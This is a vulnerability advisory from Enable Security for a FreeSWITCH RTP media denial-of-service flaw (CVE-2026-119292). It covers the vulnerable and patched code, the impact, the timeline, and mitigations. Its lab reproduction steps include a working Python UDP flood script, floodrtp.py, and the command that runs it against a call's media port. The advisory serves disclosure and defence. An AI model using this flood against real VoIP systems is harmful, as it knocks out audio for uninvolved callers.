- Authors:
- Enable Security research team
- CVSS v4.0:
- Base score: 8.7 High
- Exploitability: High
- Complexity: Low
- Attack requirements: None
- Vulnerable system: High availability impact, no confidentiality or integrity impact
- Subsequent system: No separate impact scored
- Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
- CVE: CVE-2026-119292
- Fixed versions: FreeSWITCH 1.11.2 prevents the complete media starvation reproduced on 1.10.12. Later releases containing the same fix are expected to provide the same protection. No configuration change is required for this post-learning path, although very high-rate floods can still cause packet loss.
- Enable Security Advisory: https://www.enablesecurity.com/advisories/ES2026-08-freeswitch-rtp-media-dos/
- Vendor Security Advisory: https://github.com/signalwire/freeswitch/security/advisories/GHSA-w9xc-63w2-7q4x
- Vendor Patch: https://github.com/signalwire/freeswitch/commit/a38cd8073314f7da29b16743b8dbe52fd8505ba7
- Companion advisory: https://www.enablesecurity.com/advisories/ES2026-07-freeswitch-rtp-inject-rtp-bleed/
- Other references:
- Tested vulnerable version: FreeSWITCH 1.10.12
- Tested fixed version: FreeSWITCH 1.11.2
- Affected versions: FreeSWITCH 1.0.0 through 1.11.1, in the default configuration
- Timeline:
- First discovery and report to FreeSWITCH developers: 2025-06
- Upstream fix commit: 2026-08-08
- FreeSWITCH 1.11.2 released: 2026-08-09
- Enable Security ran the initial fix-validation matrix: 2026-08-11
- Enable Security corrected and verified the stock-timer and bridged-call impact: 2026-10-28
- Enable Security submitted the two split GitHub advisories: 2026-10-29
- Vendor advisory published with CVE listed: 2026-11-03
TL;DR
FreeSWITCH 1.11.1 and earlier processed packets from an unrecognized RTP source before rejecting them. A sustained flood to an active media port could starve incoming audio from that call leg, causing one-way media in a bridged call even when SRTP was in use. FreeSWITCH 1.11.2 rejects these packets earlier without requiring a configuration change; very high-rate floods can still degrade media.
Description
Once a FreeSWITCH call has learned its media peer, packets from any other source are not part of the call and should be cheap to discard. In FreeSWITCH 1.11.1 and earlier they were discarded, but late: the rejection happened well after the packet had been read from the socket, classified as RTP, RTCP, STUN or DTLS, and, on an SRTP session, submitted for SRTP authentication and decryption.
Every unwanted datagram therefore cost the session real work before being thrown away. A sustained flood of RTP-looking packets kept one leg’s media read path busy and starved packets arriving from that legitimate endpoint. In a bridged call the far endpoint stopped receiving that leg’s audio, producing one-way media for the duration of the flood.
The encrypted case is the notable one. SRTP is often assumed to protect a media session from unauthenticated interference. It does protect the content, but it did not help here, because the attacker’s packets were failing SRTP processing rather than bypassing it, and the cost of that failed processing was the attack. An attacker needs no SRTP key or role in call setup, but must reach an active media port. A legitimate caller can learn that port from the SDP answer; an unrelated third party would first have to discover it.
This issue is distinct from the source-learning race described in our companion advisory ES2026-07. That one concerns how FreeSWITCH chooses the media peer during call setup; this one concerns where the check runs once the peer is already chosen. Upgrading fixes this post-learning path without a new setting, but does not by itself mitigate the source-learning race.
Technical details
The affected code is read_rtp_packet() and rtp_common_read() in src/switch_rtp.c.
Before the fix, the foreign-source check sat late in rtp_common_read(), after read_rtp_packet() had already completed classification and SRTP processing:
/* ignore packets not meant for us unless the auto-adjust window is open */
if (!using_ice(rtp_session) && bytes) {
if (rtp_session->flags[SWITCH_RTP_FLAG_AUTOADJ]) {
...
} else if (!(rtp_session->rtp_bugs & RTP_BUG_ACCEPT_ANY_PACKETS) &&
!switch_cmp_addr(rtp_session->rtp_from_addr, rtp_session->remote_addr, SWITCH_FALSE)) {
goto recvfrom;
}
}
The packet was correctly rejected. The problem is everything that had already happened to it. The read loop also continued on into comfort-noise generation when no legitimate packet was available, adding further work per flood packet.
Commit a38cd8073314f7da29b16743b8dbe52fd8505ba7 moves the decision up into read_rtp_packet(). Once the auto-adjust window is closed, RTP or RTCP from an address other than remote_addr is zeroed and the function returns before SRTP processing:
if ((rtp_session->has_rtp || rtp_session->has_rtcp) && !switch_rtp_test_flag(rtp_session, SWITCH_RTP_FLAG_AUTOADJ)) {
/* it's RTP or RTCP (rtcpmux) packet and we aren't in auto-adjustment window anymore. Ignore it! */
packet = rtp_session->has_rtp ? &rtp_session->inject_dos.rtp : &rtp_session->inject_dos.rtcp;
switch_rtp_inject_dos_check(rtp_session, packet, SWITCH_FALSE);
switch_rtp_inject_dos_wipe_recv_msg(rtp_session, bytes);
return SWITCH_STATUS_NOOP;
}
rtp_common_read() handles that status by resuming the receive loop instead of continuing into media handling, and a further branch avoids generating comfort noise when the previous packet did not belong to the session. The same change covers DTLS, STUN and unclassified packets, validates DTLS and STUN against the ICE candidate list when ICE is in use, and adds per-packet-type rate telemetry that reports the last observed source and logs Inject DoS of RTP packets detected!.
Impact
A sustained unauthenticated flood against one leg of an established call can stop FreeSWITCH relaying media that originates from that leg for as long as the flood continues. In a bridged two-party call, the far endpoint loses that participant’s audio while the participant on the flooded leg can continue hearing the far endpoint. The call remains up from a signalling point of view, but one-way audio makes an interactive call unusable and tends to be reported as a quality problem rather than as an attack.
Media is denied rather than disclosed or modified. The attacker gains no access to the conversation.
Default configuration: FreeSWITCH 1.11.1 and earlier are affected during ordinary media sessions, with no extra modules or non-default parameters required. Exploitation requires a live, established media session whose source-learning window has closed, plus UDP reachability to its allocated media port.
How to reproduce the issue
Use three hosts with different addresses in an isolated lab: a FreeSWITCH server, a flood sender, and a legitimate SIP user agent. The sender must reach the active media port from an address or UDP port other than the learned peer.
Install FreeSWITCH 1.10.12.
Configure a narrow RTP range of
30000-30020and a dialplan extension that answers and runs theechoapplication. Enable SDES-SRTP so the encrypted path is exercised.The application must use media arriving on the flooded leg. A transmit-only application such as plain playback is not affected on a stock profile: we flooded such a call at roughly 700,000 packets per second with no measurable effect on its output, because media pacing comes from the RTP timer rather than from inbound packets.
Leave
rtp-timer-nameat its stock value ofsoft. A profile with no RTP timer behaves differently and will not demonstrate this issue correctly.From the legitimate user agent, place a call using any SRTP-capable softphone or SIP test tool, with
AES_CM_128_HMAC_SHA1_80, and send SRTP at a normal rate such as 50 packets per second. Let the call run for a few seconds so your source is learned.Note the media port FreeSWITCH allocated to the call. This is a prerequisite for the flood, and you have it because you control the calling endpoint: it is the
m=audioport in the SDP of the200 OKyou received. Read it from your softphone, your test tool’s output, or a capture of the signalling.Confirm that the echo is working normally before the flood. Listening to the call or using the user agent’s RTP statistics is sufficient for this public check.
Save the following as
floodrtp.pyon the attacker host:import argparse import socket import struct import time parser = argparse.ArgumentParser() parser.add_argument("target") parser.add_argument("port", type=int) parser.add_argument("--seconds", type=float, default=3.0) args = parser.parse_args() sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) destination = (args.target, args.port) packet = struct.pack("!BBHII", 0x80, 0, 0, 0, 0x51515151) + b"\x11" * 160 sent = 0 started = time.time() deadline = started + args.seconds while time.time() < deadline: for _ in range(1000): sock.sendto(packet, destination) sent += 1000 elapsed = time.time() - started print("sent", sent, "packets in", round(elapsed, 2), "seconds") print("rate", round(sent / elapsed), "packets per second")While the call is up and your audio is flowing normally, run the flood for three seconds against the media port from step 4. Pass an IP address rather than a hostname, since Python resolves a hostname on every send and the rate collapses:
python3 floodrtp.py <freeswitch-ip> <media-port> --seconds 3A single Python process reached roughly 680,000 to 730,000 packets per second in our testing, which is sufficient. No multiprocessing is needed.
Expected vulnerable result: on FreeSWITCH 1.10.12 the caller’s echo stops within about two seconds and remains absent for the rest of the flood; we measured [49, 47, 0, 0, 0, 0, 0, 0] packets per second against a no-flood baseline of [49, 50, 50, 50, 50, 49, 51, 50].
Expected fixed result: on FreeSWITCH 1.11.2 the echo is degraded but not completely starved. Measurements fell to 27-37 packets per second from the expected 50 and recovered when the flood stopped. In separate bridged-call testing, the affected direction fell to 19-39 packets per second rather than zero. The FreeSWITCH log should contain Inject DoS of RTP packets detected! with the packet type, observed packets per second, and the last offending source address.
Run this only against a system you are authorised to test. The flood is deliberately aggressive, at roughly 1 Gbit/s in our lab, so keep the duration short and confine it to a network you control. When finished, hang up the call, remove the helper script, and restore the original RTP range and dialplan configuration.
Solutions and recommendations
- Upgrade to FreeSWITCH 1.11.2 or a later release containing commit
a38cd8073314f7da29b16743b8dbe52fd8505ba7. The fix prevents the complete media starvation reproduced on 1.10.12; no configuration change is required, although upstream traffic controls remain useful against extreme floods. - Where topology permits, restrict the media UDP port range to expected media networks or peers.
- Rate-limit or filter unexpected UDP traffic to the media port range upstream of FreeSWITCH.
- After upgrading, monitor
Inject DoS of RTP packets detected!log entries. They report the packet type, the observed packets per second, and the last source address, which makes them useful both as an attack signal and as a way to spot misdirected media from a misconfigured peer.
SRTP is not a workaround. The flood works against an SRTP session precisely because the packets were being processed before the source was validated.
Acknowledgements
We thank the FreeSWITCH and SignalWire maintainers for developing and releasing the hardening changes, and for engaging with us during testing.
About Enable Security
Enable Security develops offensive security tools and provides quality penetration testing to help protect your real-time communications systems against attack.
Disclaimer
The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.
Disclosure policy
This report is subject to Enable Security’s vulnerability disclosure policy which can be found at https://github.com/EnableSecurity/Vulnerability-Disclosure-Policy.